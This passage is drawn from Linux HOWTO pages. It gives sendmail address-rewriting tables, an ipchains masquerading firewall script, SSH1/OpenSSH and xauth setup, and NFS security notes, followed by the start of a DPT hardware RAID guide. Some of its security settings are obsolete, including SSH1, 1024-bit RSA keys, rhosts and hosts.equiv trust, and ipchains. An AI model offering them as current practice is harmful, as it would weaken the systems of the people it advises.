janedoe                                 Jane.Doe@example.com
whgiii                                  Pointyhaired.Boss@example.com
This file renames the sender on outgoing email from locally-sourced mail. While it clearly can't affect the return address for mail sent directly from jdoe@somemachine.somedomain, it allows you to rewrite the sender's email address from the internal usernames to whatever email address convention you've chosen. Finally, create the following Makefile in /etc/sendmail/:
all : genericstable.db virtusertable.db

virtusertable.db : virtusertable.src
        makemap hash virtusertable < virtusertable.src

genericstable.db : genericstable.src
        makemap hash genericstable < genericstable.src
Run make to create the hashed files which sendmail can use, and remember to re-run make and restart sendmail (or send it a SIGHUP) after any changes to either of these ``.src'' files.

Solutions Using Other Mail Transfer Agents

My experience is only with sendmail. If anybody would like to write this section, please contact me. Otherwise, I may, at some later time, try to provide details myself on such MTAs as Postfix, Exim, or smail. I'd really rather somebody wrote these sections who uses those programs.

7.4 Setting up Web Space Hosting

You should set up your externally visible web server on a machine outside the private network, and not on the private network gateway machine, for security reasons. If the web server needs access to databases or other resources stored on the private network, the situation becomes more complicated, both from a network and a security standpoint. Such configurations are beyond the scope of this document.

The details of setting up the server itself can be found in the apache documentation, and in the Linux WWW HOWTO document.

7.5 Setting up FTP Hosting

Once again, your FTP host should be an externally visible machine, and not the private network gateway machine. Follow the setup directions which ship with your FTP daemon package. Be sure to download the most recent version of the daemon, as there are security vulnerabilities in some older versions of many daemons. If your FTP site does not require anonymous users to upload files, be sure to disable that feature in the daemon. I recommend that user (non-anonymous) FTP logins not be permitted on the FTP host, that you require your regular users to use scp, the secure shell remote copy command, for any file updating they may have to do on the FTP host. This is to help build secure habits in the users, and to protect against the ``hostile router'' problem described in section Securing Your Domain.

7.6 Setting up Packet Filtering

This is discussed in detail in section Configuring Your Firewall.


Setting Up Your New Domain Mini-HOWTO.: Securing Your Domain

 Next Previous Contents

8. Securing Your Domain

This section deals with setting up security for your new domain. The emphasis is on user-transparent features. If your security is too obtrusive, and interferes strongly with the actions of the users, the users will develop their own workarounds which may compromise the entire domain. The best way to avoid this is to make the security as transparent as possible, and to encourage users to come to you first when they have difficulties which might be related to the security measures of the site. A certain flexibility in attitude is important. I know from personal experience that if the security policy is too rigid, the users will simply set up their own network tunnels through the firewall so they can log in from outside the domain. It's better that remote login procedures, or whatever the users are trying to do, be set up, inspected, and approved by you.

This section deals with securing your network against outside attack, and against casual snooping from within. Securing your site against determined attack from validated users within the private network is a more difficult and involved task, and is beyond the scope of this document.

One of the security considerations used in this section is protecting against the ``hostile router''. The router provided by your ISP may be a remotely configurable computer in its own right, with the administrative password held by your provider. There have been security problems in the past when the router's manufacturer override password (the one used when your ISP forgets the password they programmed in) has become known to system crackers. When possible, you should design your security around the assumption that the router is potentially hostile. That is, it could be using any IP number in your public or private network blocks, it could be redirecting traffic on outgoing packets to another site, and it could be recording anything which goes through.

8.1 Configuring Your Firewall

This section deals with configuring an ipchains-based masquerading, forwarding, filtering router. You should probably read the IPCHAINS-HOWTO document first, then look here for additional hints. That HOWTO describes the steps necessary to compile a kernel with masquerading support, and describes the use of the ipchains binary in detail. You should enable firewalling on all machines with exposed IP numbers.

Check your startup scripts to make sure that the sequence is as follows on the private network gateway machine:

  1. Outside Ethernet card is initialized.
  2. Firewall rules are run through ipchains.
  3. Forwarding is turned on.
  4. Network service daemons are started.

So, as an example, on a Slackware-based system, the firewall configuration should come between the execution of rc.inet1 and rc.inet2. Further, if any problems arise during the firewall configuration steps, a warning should be printed, and the external Ethernet card taken off line before the network service daemons are run.

One common problem with ipchains-based firewalls is the tedium of making sure that your rules are correctly set for packets arriving from the loopback interface, or arriving from either of the internal or external interfaces on the firewall machine. These locally-sourced packets can be blocked by a firewall. All too often, this is fixed by a sort of shotgun debugging approach, whereby the rules for the firewall are tweaked until all applications seem to run properly on the firewall host again. Unfortunately, this can sometimes result in a firewall which has unintended holes. With ipchains it is possible to write a firewall script which is easily debugged, and which avoids many of the packet source problems. Here is a sample script, /sbin/firewall.sh:

#! /bin/sh
#
# New firewalling script using IP chains. Creates a filtering router
# with network masquerading.
#

# define a few variables

IPCHAINS=/sbin/ipchains

LOCALNET="192.168.1.0/24"       # the private network
ETHINSIDE="192.168.1.1"         # fred.example.com's private IP #
ETHOUTSIDE="10.1.1.9"           # fred.example.com's public IP #
LOOPBACK="127.0.0.1/8"
ANYWHERE="0/0"
OUTSIDEIF=eth1                  # fred.example.com's private interface

FORWARD_PROCENTRY=/proc/sys/net/ipv4/ip_forward

#
# These two commands will return error codes if the rules
# already exist (which happens if you run the firewall
# script more than once). We put the commands before "set -e"
# so that the script doesn't abort in that case.

$IPCHAINS -N outside
$IPCHAINS -N portmap

set -e                  # Abort immediately on error setting
                        # up the rules.

#
# Turn off forwarding and clear the tables

echo "0" > ${FORWARD_PROCENTRY}

$IPCHAINS -F forward
$IPCHAINS -F input
$IPCHAINS -F output
$IPCHAINS -F outside
$IPCHAINS -F portmap

#
# Masquerade packets from within our local network destined for the
# outside world. Don't masquerade packets which are local to local

$IPCHAINS -A forward -s $LOCALNET -d $LOCALNET -j ACCEPT
$IPCHAINS -A forward -s $ETHOUTSIDE -d $ANYWHERE -j ACCEPT
$IPCHAINS -A forward -s $LOCALNET -d $ANYWHERE -j MASQ

#
# Set the priority flags. Minimum delay connections for www, telnet,
# ftp, and ssh (outgoing packets only).

$IPCHAINS -A output -p tcp -d $ANYWHERE www -t 0x01 0x10
$IPCHAINS -A output -p tcp -d $ANYWHERE telnet -t 0x01 0x10
$IPCHAINS -A output -p tcp -d $ANYWHERE ftp -t 0x01 0x10
$IPCHAINS -A output -p tcp -d $ANYWHERE ssh -t 0x01 0x10

#
# Anything from our local class C is to be accepted, as are
# packets from the loopback and fred's external IP.

$IPCHAINS -A input -s $LOCALNET -j ACCEPT
$IPCHAINS -A input -s $LOOPBACK -j ACCEPT
$IPCHAINS -A input -s $ETHOUTSIDE -j ACCEPT

# We'll create a set of rules for packets coming from the big, bad
# outside world, and then bind all external interfaces to it. This
# rule will be called "outside"
#
# We also create a "portmap" chain. The sockets used by daemons
# registered with the RPC portmapper are not fixed, and so it is
# a bit difficult to set up filter rules for them. The portmap
# chain is configured in a separate script.

#
# Send packets from any outside interface to the "outside"
# rules chain. This includes the $OUTSIDEIF interface and any
# ppp interfaces we create for dialout (or dialin).

$IPCHAINS -A input -i ${OUTSIDEIF} -j outside
$IPCHAINS -A input -i ppp+ -j outside

##################################################
#
#  Set up the "outside" rules chain              #
#
##################################################

#
# Nobody from the outside should claim to be coming from our localnet
# or loopback

$IPCHAINS -A outside -s $LOCALNET -j DENY
$IPCHAINS -A outside -s $LOOPBACK -j DENY

#
# No packets routed to our local net should come in from outside
# because the outside isn't supposed to know about our private
#  IP numbers.

$IPCHAINS -A outside -d $LOCALNET -j DENY

#
# Block incoming connections on the X port. Block 6000 to 6010.

$IPCHAINS -l -A outside -p TCP -s $ANYWHERE -d $ANYWHERE 6000:6010 -j DENY

#
# Block NFS ports 111 and 2049

$IPCHAINS -l -A outside -p TCP -s $ANYWHERE -d $ANYWHERE 111 -j DENY
$IPCHAINS -l -A outside -p TCP -s $ANYWHERE -d $ANYWHERE 2049 -j DENY
$IPCHAINS -l -A outside -p UDP -s $ANYWHERE -d $ANYWHERE 111 -j DENY
$IPCHAINS -l -A outside -p UDP -s $ANYWHERE -d $ANYWHERE 2049 -j DENY

#
# Block XDM packets from outside, port 177 UDP

$IPCHAINS -l -A outside -p UDP -s $ANYWHERE -d $ANYWHERE 177 -j DENY

#
# Block the YP/NIS port 653

$IPCHAINS -l -A outside -p TCP -s $ANYWHERE -d $ANYWHERE 653 -j DENY

#
# Don't bother logging accesses on TCP port 80, the www port.

$IPCHAINS -A outside -p TCP -s $ANYWHERE -d $ANYWHERE 80 -j DENY

#
# Accept FTP data and control connections.

$IPCHAINS -A outside -p TCP -s $ANYWHERE 20:21 -d $ANYWHERE 1024: -j ACCEPT

#
# Accept ssh packets

$IPCHAINS -A outside -p TCP -s $ANYWHERE -d $ANYWHERE ssh -j ACCEPT

#
# Accept DNS packets from outside

$IPCHAINS -A outside -p TCP -s $ANYWHERE -d $ANYWHERE 53 -j ACCEPT
$IPCHAINS -A outside -p UDP -s $ANYWHERE -d $ANYWHERE 53 -j ACCEPT

#
# Accept SMTP from the world

$IPCHAINS -A outside -p TCP -s $ANYWHERE -d $ANYWHERE 25 -j ACCEPT

#
# Accept NTP packets

$IPCHAINS -A outside -p UDP -s $ANYWHERE -d $ANYWHERE 123 -j ACCEPT

#
# Accept no tap ident packets, we don't use them

$IPCHAINS -A outside -p TCP -s $ANYWHERE -d $ANYWHERE 113 -j DENY

#
# Turn off and log all other packets incoming, TCP or UDP, on privileged ports

$IPCHAINS -l -A outside -p TCP -s $ANYWHERE -d $ANYWHERE :1023 -y -j DENY
$IPCHAINS -l -A outside -p UDP -s $ANYWHERE -d $ANYWHERE :1023 -j DENY

#
# Check against the portmapper ruleset

$IPCHAINS -A outside -j portmap

##############################################
#
#    End of "outside" rules chain            #
#
##############################################

#
# Block outgoing rwho packets

$IPCHAINS -A output -p UDP -i $OUTSIDEIF -s $ANYWHERE 513 -d $ANYWHERE -j DENY

#
# Prevent netbios packets from leaving

$IPCHAINS -A output -p UDP -i $OUTSIDEIF -s $ANYWHERE 137 -d $ANYWHERE -j DENY

#
# Turn on forwarding

echo "1" > ${FORWARD_PROCENTRY}
Notice that the firewall can be used not only to block incoming packets, but also outgoing packets which might leak information about your private network, such as rwho and netbios packets.

As noted earlier, the portmapper rules are a bit different, because the portmap daemons register themselves with the portmapper and are told which ports to listen on. The ports used by a particular daemon may change as you change the RPC services used, or change their order of startup. The following script, /sbin/firewall.portmap.sh generates rule sets for the portmapped daemons:

#! /bin/sh
#
ANYWHERE=0/0

IPCHAINS=/sbin/ipchains

$IPCHAINS -F portmap

# Rules for preventing access to portmapped services by people on the outside
#
/usr/bin/rpcinfo -p | tail +2 | \
        { while read program vers proto port remainder
          do
                prot=`echo $proto | tr "a-z" "A-Z"`
                $IPCHAINS -l -A portmap -p $prot -s $ANYWHERE -d $ANYWHERE $port -j DENY || exit 1
          done
        }
We didn't have to worry about whether packets coming in were legitimate packets from the private network, the portmap chain is only checked when the packets come in from the outside.

This firewall configuration logs most suspicious packets through klogd with the kern.info logging priority. It will log normal connection attempts, as well as all known ``stealth'' probes.

Now, we put these all together. We'd like to make sure that there isn't a small window of vulnerability while the system is starting up, so you should configure your startup sequence as follows:

#! /bin/sh
#
# Get the network started, securely
#
#
/etc/rc.d/rc.inet1              # Configure the network interfaces
                                # and set up routing.
/sbin/firewall.sh || { echo "Firewall configuration failed"
                       /sbin/ifconfig eth1 down }

/sbin/ipchains -I outside 1 -j DENY     # Deny all incoming packets

/etc/rc.d/rc.inet2              # Start the network daemons

sleep 5                         # Let them stabilize

# Secure the portmapped services
/sbin/firewall.portmap.sh || { echo "Portmap firewall configuration failed"
                               /sbin/ifconfig eth1 down }

/sbin/ipchains -D outside 1       # Allow incoming packets
This assumes that eth1 is the interface on the externally visible IP number. If any of the ipchains rule sets fail to install, a warning is issued and that interface is taken off line. The ``outside'' chain is set to deny all packets before the network service daemons are started, because the firewalling rules are not yet in place for the portmapped services. Once the portmapped services are firewalled, the ``outside'' chain is restored to its proper behaviour.

8.2 Configuring OpenSSH or SSH1

At the time of this writing, OpenSSH, like SSH1, now offers a configuration setting which allows you to insert scp, ssh, and slogin as binaries named rcp, rsh, and rlogin, with transparent fall-through in the ssh client programs to the original rsh, rcp, or rlogin when the remote site isn't running sshd. Making an invocation of rsh run, instead, the ssh client program is, in my opinion, important for keeping the security easy to use and out of the way of the users. Everybody's scripts, rdist configurations, and so on will continue to work without modification if the remote site is running sshd, but data will be sent encrypted, with strong host authentication. The converse will not always be true. Specifically, if the remote machine is not running sshd, the rsh program will echo a diagnostic to the screen warning that the connection is unencrypted. This message breaks rdist, and possibly other programs. The message cannot be suppressed with command line or compile time switches. For rdist, one solution is to invoke the program with -p /usr/lib/rsh/rsh.

Obtain ssh1 from the ssh web site, or OpenSSH from the OpenSSH web site, and compile it to replace the unencrypted r-programs (rsh, rlogin, and rcp). First, copy those three files to /usr/lib/rsh/, then configure the ssh package with:

 ./configure --with-rsh=/usr/lib/rsh/rsh --program-transform-name='s/^s/r/' --prefix=/usr
Install the binaries, and configure according to the directions. On the private network gateway machine, make sure that the sshd configuration has the following entries defined:
ListenAddress 192.168.1.1       # fred's internal IP
IgnoreRhosts no
X11Forwarding yes
X11DisplayOffset 10
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
You will have to do further configuration of other entries in the /etc/sshd_config file, but try not to change these fields. Once you have all of the entries in the file set to your satisfaction, copy this entire file into a new file, /etc/sshd_config.ext, for the external network. Change two fields in the new file: the ``ListenAddress'' should be changed to the private network gateway's external IP number (10.1.1.9 in our fred.example.com case), and ``PasswordAuthentication'' should be set to ``no'' in /etc/sshd_config.ext. In your network services startup script, start sshd twice, once with
/usr/sbin/sshd
and once with
/usr/sbin/sshd -f /etc/sshd_config.ext
This will create two running sshd daemons. The one operating on the internal interface will allow logins with passwords, but the external interface will require an RSA key validation before anybody can log on.

Next, turn off incoming telnet and shell services in the inetd configuration file (note that the firewall configuration listed in section Configuring Your Firewall already prevents access from outside, but it's best to defend in depth, don't rely on everything working correctly).

People who want to be able to log in from home, or from out of town, will need an RSA key. Make sure they know how to do this, so they don't spend their energies trying to figure out another way to do it, like running a telnetd on an unprivileged port on your firewall machine.

An RSA key is generated by the command:

ssh-keygen -b 1024 -f new_rsa_key
You will be prompted for a pass phrase. This should not be blank. A person with access to the file new_rsa_key, and knowledge of the pass phrase, has everything necessary to pass an RSA authentication challenge. The pass phrase can be an ``unguessable'' password, or a long sentence, but make it something non-trivial. The file new_rsa_key can be copied to a floppy disk, or onto a laptop, and, along with the pass phrase, can be used to log into accounts which are set to grant access to that particular RSA key.

To configure an account to allow access by a particular RSA key, simply create a $HOME/.ssh/ directory for that user on the private network gateway machine (i.e. the machine which will be receiving the login attempt), and copy the file new_rsa_key.pub which was created by the "ssh-keygen" command into the file $HOME/.ssh/authorized_keys. See the section ``AUTHORIZED_KEYS FILE FORMAT'' in the sshd man page for details on other options you can add to the key, such as requiring the login to come from a certain IP or host name, or authorizing the key only to permit the remote invocation of certain commands (for instance, an RSA key which commands a backup to take place, or commands a status report to be emailed somewhere off site).

Only one thing remains to make the RSA key mechanism as gentle as possible to the users. If a user is forced to enter the pass phrase more than once or twice in a session, they are likely to become bored and take security matters into their own hands. Under Linux, arrange their login shell to be invoked under ssh-agent. For instance, if the company laptop used on business trips runs xdm, and drops users into an X session, go into the /var/X11R6/lib/xdm/Xsession_0 file and change the lines which invoke the startup, which are probably of the form:

exec "$startup"
into lines of the form:
exec ssh-agent "$startup"
In my xdm setup, there are three such lines which should be altered in that one file. Now, when the user logs onto the laptop, he enters the command
ssh-add new_rsa_key
at any prompt, enters the pass phrase when prompted, and all windows will have pass phrase-free access to the account on the private network gateway until the user logs off his X session on the laptop.

Run sshd on all of the machines on your private network, as well as on any exposed hosts. For machines other than the private network gateway machine, the ListenAddress entry in /etc/sshd_config can be set to ``0.0.0.0''. You should set up the host keys with the command:

ssh-keygen -b 1024 -f /etc/ssh_host_key -N ""
then run make-ssh-known-hosts and distribute the /etc/ssh_known_hosts file among all of the machines on the private and public networks.

Disable incoming telnet and the unencrypted r-services. Don't delete the telnet binary, it's useful for things other than simple telnet sessions on port 23. You should allow password authentication on the private network, and disable it on the exposed machines, requiring an RSA key to log onto the exposed hosts.

It is convenient for the users if the hosts on the private network are mentioned in each other's /etc/hosts.equiv files. The sshd daemons will respect those, and allow people to rlogin and rsh between machines without passwords or pass phrases. On every connection, the machines will be verifying each other's identities with host-level RSA keys.

One difficulty arises when a user logged onto a machine on the private network wants to log onto a box on an exposed IP number. You can't use /etc/hosts.equiv or $HOME/.shosts to allow password-less validation, because the user is coming from a machine whose IP number cannot be determined - it will appear to be coming from the masquerading firewall machine, but the host keys won't match. There are two solutions to this. First, if you insist on using the /etc/hosts.equiv or $HOME/.shosts methods, the user will have to log onto the private network gateway machine (fred.example.com in our example here), and then log through to the exposed machine from there. The other technique is to use RSA key authentication, that always works regardless of what games are going on with IP numbers and host name lookups.

8.3 Configuring X

In the user's continuing quest to prove that he values convenience over security, it has become common for people to put

xhost +
commands right into their X initialization scripts. This grants X server access to everybody in the world. Now the random outsider can change your root window graphic to something embarrassing while your boss is showing his mother around your office. Alternately, this outsider can quietly monitor every keystroke you issue, and dump the contents of your screen to his desktop. Needless to say, this doesn't bode well for passwords used to log into other sites, or for sensitive documents being edited on screen. The xhost protocol itself is inherently limited, as it is not possible to grant permissions to use the screen on a user basis, only on a machine basis.

Enter xauth authentication. If you have xdm you probably already are running xauth authentication, but xhost still works, and might still be what people are using to run X processes between machines. Once again, the goal is to make the security easy enough to use that the users aren't tempted to run the xhost command anymore.

The sshd setup described in section Configuring SSH1, with the ``X11Forwarding'' flag set, is actually simpler to use than the xhost technique. Once you have logged into your terminal, you can simply rlogin to a remote machine, and run netscape, xv, or whatever you like, without having to set the $DISPLAY variable name or allow explicit permissions. During ssh login, it configures the system in a way transparent to the end user, and even encrypts all of your X packets before they go over the network.

If you are unable to use the sshd X11 forwarding for some reason, you should use xauth when you want to authorize other machines to have access to your X server. Document this for the users, or create specialized shell scripts to help them out. The relevant command to authorize a particular login, ``jpublic'', on machine ``barney'' to have access to your X server is:

/usr/X11/bin/xauth extract - $DISPLAY | rsh -l jpublic barney /usr/X11/bin/xauth merge -
This sequence is not necessary to authorize X connections from machines which share a common NFS-mounted home directory. The xauth key will be immediately available to that user on all machines which mount the same home directory.

I'd be tempted to delete xhost from your machines entirely. If it causes problems with any programs, you will at least know that those programs had poorly-designed security. It's simple enough to build a shell script as a drop-in replacement for xhost which uses the xauth sequence listed above.

Note that if rsh is not the encrypting ssh program, the xauth key is sent plaintext. Anybody who holds the plaintext of the key can access your server, so you do not gain much security if you don't use ssh for these transactions. Note, also, that if the users' home directories are exported via NFS (the Network File System), the xauth key is available in plaintext to anybody able to snoop those NFS packets, regardless of whether you're running ssh on your systems.

8.4 Configuring Disk Sharing

With email coming to a central machine, the read/send from any host setup described here is very convenient, but some care has to be taken to protect against trivial snooping by bored local users. NFS without AUTH_DES implemented is inherently insecure. NFS relies on the client machine to authenticate access, there is no password verification on the server to make sure that the client should be permitted to access the private files of a particular user. A Windows box can be configured to read NFS-exported volumes as any numeric uid, completely bypassing UNIX file permissions. Consequently, NFS exports should only be made to machines which are always Linux (or UNIX) boxes under your direct control, and never ones which can be dual-booted into Windows. If you want to export the mail spool directory, or any other directory, to machines which can sometimes be used as Windows boxes, export them with samba, setting the authentication mode to ``security=USER''. Connecting the machines on your network with a switch rather than a hub will also help, as it leaves very little of interest for sniffers on Windows machines. Ultimately, though, it's very difficult to secure any disk sharing over the network at the time of this writing.

Why bother, if you can't really secure the network disks? Mostly it's an issue of credible defense. If you leave a sheet of paper on your desk with confidential information, and somebody in the office reads it, he can argue that he didn't realize what the paper was, his natural curiosity just got the better of him when he saw it sitting on the desk. If the sheet of paper were in a filing cabinet or desk drawer, it's an entirely different story. The purpose of taking some basic network security measures internally is to ensure that nobody ``accidentally'' compromises security.


Setting Up Your New Domain Mini-HOWTO.: Acknowledgements

 Next Previous Contents

9. Acknowledgements

This document was written as internal documentation for the DYNACAN project, as part of the project's continuing development under the control of the Ministry of Human Resources Development Canada.

This document has benefited considerably from the suggestions of

  • Rod Smith ( rodsmith@rodsbooks.com), who suggested I provide details on registering a domain name and on setting up with a dynamic IP, and pointed me at the various dynamic IP hosting services and at Granite Canyon.
  • Greg Leblanc ( gleblanc@my-deja.com) for useful suggestions on improving the clarity of the document.
  • Sami Yousif ( syousif@iname.com).
  • Marc-André Dumas ( m_a_dumas@hotmail.com), who suggested the section on moving your domain to a new IP number.
  • Osamu Aoki ( aoki@pacbell.net).
  • Joao Ribeiro <(url url="mailto:sena@decoy.ath.cx" name="sena@decoy.ath.cx">).


Setting Up Your New Domain Mini-HOWTO.: Glossary of Terms

 Next Previous Contents

10. Glossary of Terms

This is a list of the meanings of some of the words and acronyms used in this document.

CGI Script

A Common Gateway Interface Script. This is a program which is run on demand to generate the content of a web page. If a web page has to do more than simply feed an unchanging text and graphics display to the viewer, you will probably need some sort of dynamic content generation program such as a CGI Script. Examples include discussion boards, feedback forms, e-commerce shopping carts, and more.

DHCP

Dynamic Host Configuration Protocol. A standard, defined in RFC 1531, for computers on a TCP/IP network to request from a central server information such as the IP number they should be using, the netmask, the gateway, etc. Rather than an administrator entering this information into the machine configuration, the machine simply requests it from the server as it is preparing to attach to the network.

DNS

Domain Name Service. A standard for translating domain names into IP Numbers, or vice versa, by looking up data in centralized databases.

DSL

Digital Subscriber Line. A relatively high speed network connection, usually delivered through specialized telephone wiring.

Dynamic IP Number

An IP Number which is assigned periodically or on a per-session basis. No guarantee is made that the number will remain constant. A dynamic IP number might change only when your network connection hangs up and reconnects, or it might change periodically under DHCP negotiation. Certain session-based services such as telnet and ssh will stop working if the IP number of either end of the connection is changed during the session.

Forward DNS Query

A DNS query which converts a domain name into an IP Number.

FTP

The File Transfer Protocol. A standard system for sending files between machines over the Internet.

ftpd

The daemon responsible for providing FTP services on a host. It responds to queries initiated by a remote client.

Internet Service Provider

See ISP.

IP

See IP Number.

IP Number

The ``address'' of a certain network interface. Under the current addressing standard, called ipv4, this number consists of four 8-bit values, generally written as base-10 numbers separated by dots. Communication between computers on the Internet is based on packets of information sent between IP numbers.

ISP

Internet Service Provider. The company which provides your network connectivity, including connection hardware, service hosting, and leasing out the IP numbers under their control.

Masquerading

A form of filtering in which packets from one machine to the outside world have their headers rewritten so that they appear to come from an intermediate machine. That intermediate machine then passes responses back to the originating machine. The net effect is that an entire network of machines can appear to use a single IP number, that of the masquerading host, for the purpose of outgoing connections.

named

The name server daemon. This is the daemon which answers DNS queries, and is distributed as part of the BIND package.

Network Time Protocol

See NTP.

NTP

Network Time Protocol. A standard for synchronizing your system clock with the ``true time'', defined as the average of many high-accuracy clocks around the world.

OS

Operating system. Linux, Windows, FreeBSD, BeOS, HP-UX, etc.

PHB

Pointy-Haired Boss. A creation of Scott Adams, of Dilbert fame.

Provider

See ISP.

Reverse DNS Query

A DNS query which converts a IP Number into a domain name.

Router

A specialized hardware device which implements rules for where to send packets based on their IP Numbers, and which bridges between your Ethernet hardware and whatever communications medium connects you to your ISP.

ssh

The secure shell. A cryptographically strong replacement for rlogin, telnet, ftp, and other programs. Protects against ``spoofing'', man in the middle attacks, and packet sniffing.

Static IP Number

An IP Number which has been assigned or leased to you permanently. Barring revocation of the agreement which granted you this number, that IP number will always be available for your use, and no other machine on the Internet is allowed to use that number. Contrast this with Dynamic IP Numbers.


Linux DPT Hardware RAID mini-HOWTO

Ram Samudrala (me@ram.org)

v1.6, February 20, 2002

How to set up hardware RAID under Linux.

1. Introduction

2. Supported controllers

  • 2.1 DPT controllers
  • 2.2 ICP vortex controllers

3. What hardware should be used?

  • 3.1 Controller type
  • 3.2 Enclosure type

4. Installation

  • 4.1 Installing and configuring the hardware
  • 4.2 Configuring the kernel
  • 4.3 Bootup messages

5. Usage

  • 5.1 fdisk, mke2fs, mount, etc.
  • 5.2 Hot swapping
  • 5.3 Performance

6. Features in the EATA DMA driver

7. Troubleshooting

  • 7.1 Upon bootup, no SCSI hosts are detected
  • 7.2 RAID configuration shows up as N different disks
  • 7.3 Machine/controller is shut down in the middle of a format
  • 7.4 SCSI_ABORT_BUSY errors produced during initial filesystem format
  • 7.5 If all fails...

8. References

9. Acknowledgements


Linux DPT Hardware RAID mini-HOWTO : Introduction

 Next Previous Contents

1. Introduction

This document describes how to set up SCSI hardware RAID, focusing mainly on host-based adapters from DPT, though the principles applied here are fairly general.

Use the information below at your own risk. I disclaim all responsibility for anything you may do after reading this HOWTO. The latest version of this HOWTO will always be available at http://www.ram.org/computing/linux/dpt_raid.html.

For the purposes of this HOWTO, I am assuming you have only a Linux system running. Also, note that I've only tried this out with the DPT Smartcache IV PM2144UW and PM3334UW controllers, with DPT (SmartRAID tower) and Wetex enclosures, and I have no experience with other setups. So things may be different for your setup.


Linux DPT Hardware RAID mini-HOWTO : Supported controllers

 Next Previous Contents

2. Supported controllers

One well-supported host-based hardware RAID controller (i.e, a controller for which there exists a driver under Linux) is one that is made by DPT. However, there exist other host-based and SCSI-to-SCSI controllers which may work under Linux. These include the ones made by Syred, ICP-Vortex, and BusLogic. See the RAID solutions for Linux page for more info.

If, in the future, there is support for other controllers, I will do my best to incorporate that information into this HOWTO. Please send me any such information you think is appropriate for this HOWTO.

2.1 DPT controllers

This document is currently DPT-oriented. Essentially all the SmartRAID IV controllers are supported.

2.2 ICP vortex controllers

ICP vortex has a complete line of disk array controllers which support Linux. The ICP driver is in the Linux kernel since version 2.0.31. All major Linux Distributors S.u.S.e., LST Power Linux, Caldera and Red Hat support the ICP controllers as boot/installation controllers. The RAID system can easily be configured with their ROMSETUP (you do not have to boot MS-DOS for configuration!).

With the monitoring utility GDTMON it is possible to manage the complete ICP RAID system during operation (check transfer rates, set parameters for the controller and hard disks, exchange defective hard disks, etc.). Currently available are: 1 and 2 channel wide and ultra SCSI controller for RAID 0 and RAID 1 1, 2, 3 and 5 chn. wide and ultra SCSI controller for RAID 0, 1, 4, 5 and 10 1 and 2 channel wide and ultra2 LVDS SCSI controller for RAID 0 and RAID 1 1, 2, 3 and 5 chn. wide and ultra2 LVDS SCSI controller for RAID 0, 1, 4, 5 and 10 1 and 2 port Fibre Channel controllers for RAID 0, 1, 4, 5 and 10 Pretty soon there will be also 64-bit controllers available.

ICP is transitioning the entry-level RS series from Ultra2 SCSI to Ultra160 SCSI. The drivers, firmware, features, capabilities etc remain the same. They are still 32 Bit cards with the i960RS processor working at 100MHz. The only difference is they will work at Ultra160 (data transfer rate of 160MB/sec) rather than Ultra2 (data transfer of 80MB/sec).

Effective immediately, the GDT7523RN units will become GDT8523RZ and the GDT7623RN units will become GDT8623RZ. The transition from 33MHz on the PCI bus to 66MHz represents a huge potential performance increase. The new cards will have the new Intel 80303 "Zion" processor, allowing bus master transfer rates of up to 528MB/sec, and will take up to 256MB of ECC RAM on PC133 SDRAM Dimms.


Linux DPT Hardware RAID mini-HOWTO : What hardware should be used?

 Next Previous Contents

3. What hardware should be used?

3.1 Controller type

Given all these options, if you're looking for a RAID solution, you need to think carefully about what you want. Depending on what you want to do, and which RAID level you wish to use, some cards may be better than others. SCSI-to-SCSI adapters may not be as good as host-based adapters, for example. Michael Neuffer ( neuffer@kralle.zdv.uni-mainz.de), the author of the EATA-DMA driver, has a nice discussion about this on his Linux High Performance SCSI and RAID page.

3.2 Enclosure type

The enclosure type affects the hot swap-ability of the drive, the warning systems (i.e., whether there will be indication of failure, and whether you will know which drive has failed), and what kind of treatment your drive receives (for example, redundant cooling and power supplies). We used the DPT supplied enclosures which work extremely well, but they are expensive.


Linux DPT Hardware RAID mini-HOWTO : Installation

 Next Previous Contents

4. Installation

4.1 Installing and configuring the hardware

Refer to the instruction manual to install the card and the drives. For DPT, since a storage manager for Linux doesn't exist yet, you need to create a MS-DOS-formatted disk with the system on it (usually created using the command "format /s" at the MS-DOS prompt). You will also be using the DPT storage manager for MS-DOS, which you should probably make a copy of for safety.

Once the hardware is in place, boot using the DOS system disk. Replace the DOS disk with the storage manager. And invoke the storage manager using the command:

a:\ dptmgr

Wait a minute or so, and you'll get a nice menu of options. Configure the set of disks as a hardware RAID (single logical array). Choose "other" as the operating system.

The MS-DOS storage manager is a lot easier to use with a mouse, and so you might want to have a mouse driver on the initial system disk you create.

Technically, it should be possible to run the SCO storage manager under Linux, but it may be more trouble than its worth. It's probably more easier to run the MS-DOS storage manager under Linux.

4.2 Configuring the kernel

You will need to configure the kernel with SCSI support and the appropriate low level driver. See the Kernel HOWTO for information on how to compile the kernel. Once you choose "yes" for SCSI support, in the low level drivers section, select the driver of your choice (EATA DMA or EATA ISA/EISA/PCI for most EATA DMA compliant (DPT) cards, EATA PIO for the very old PM2001 and PM2012A from DPT). Most drivers, including the EATA DMA and EATA ISA/EISA/PCI drivers, should be available in recent kernel versions.

Once you have the kernel compiled, reboot, and if you've set up everything correctly, you should see the driver recognising the RAID as a single SCSI disk. If you use RAID-5, you will see the size of this disk to be 2/3 of the actual disk space available.

4.3 Bootup messages

The messages you see upon bootup if you're using the EATA DMA driver should look something like this:

EATA (Extended Attachment) driver version: 2.59b
developed in co-operation with DPT
(c) 1993-96 Michael Neuffer, mike@i-Connect.Net
Registered HBAs:
HBA no. Boardtype    Revis  EATA Bus  BaseIO IRQ DMA Ch ID Pr QS  S/G IS
scsi0 : PM2144UW     v07L.Y 2.0c PCI  0xef90  11 BMST 1  7  N  64 252 Y
scsi0 : EATA (Extended Attachment) HBA driver
scsi : 1 host.
  Vendor: DPT       Model: RAID-5            Rev: 07LY
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 8, lun 0
scsi0: queue depth for target 8 on channel 0 set to 64
scsi : detected 1 SCSI disk total.
SCSI device sda: hdwr sector= 512 bytes. Sectors= 35591040 [17378 MB] [17.4 GB]

(The above display is for a setup with a single DPT SCSI controller, configured as RAID-5, with three disks of 9 GB each.)

The messages you see upon bootup if you're using the EATA ISA/EISA/PCI driver should look something like this:

aic7xxx: <Adaptec AHA-294X SCSI host adapter> at PCI 15
aic7xxx: BIOS enabled, IO Port 0x7000, IO Mem 0x3100000, IRQ 15, Revision B
aic7xxx: Single Channel, SCSI ID 7, 16/16 SCBs, QFull 16, QMask 0x1f
EATA0: address 0x7010 in use, skipping probe.
EATA0: 2.0C, PCI 0x7410, IRQ 11, BMST, SG 252, MB 64, tc:y, lc:y, mq:62.
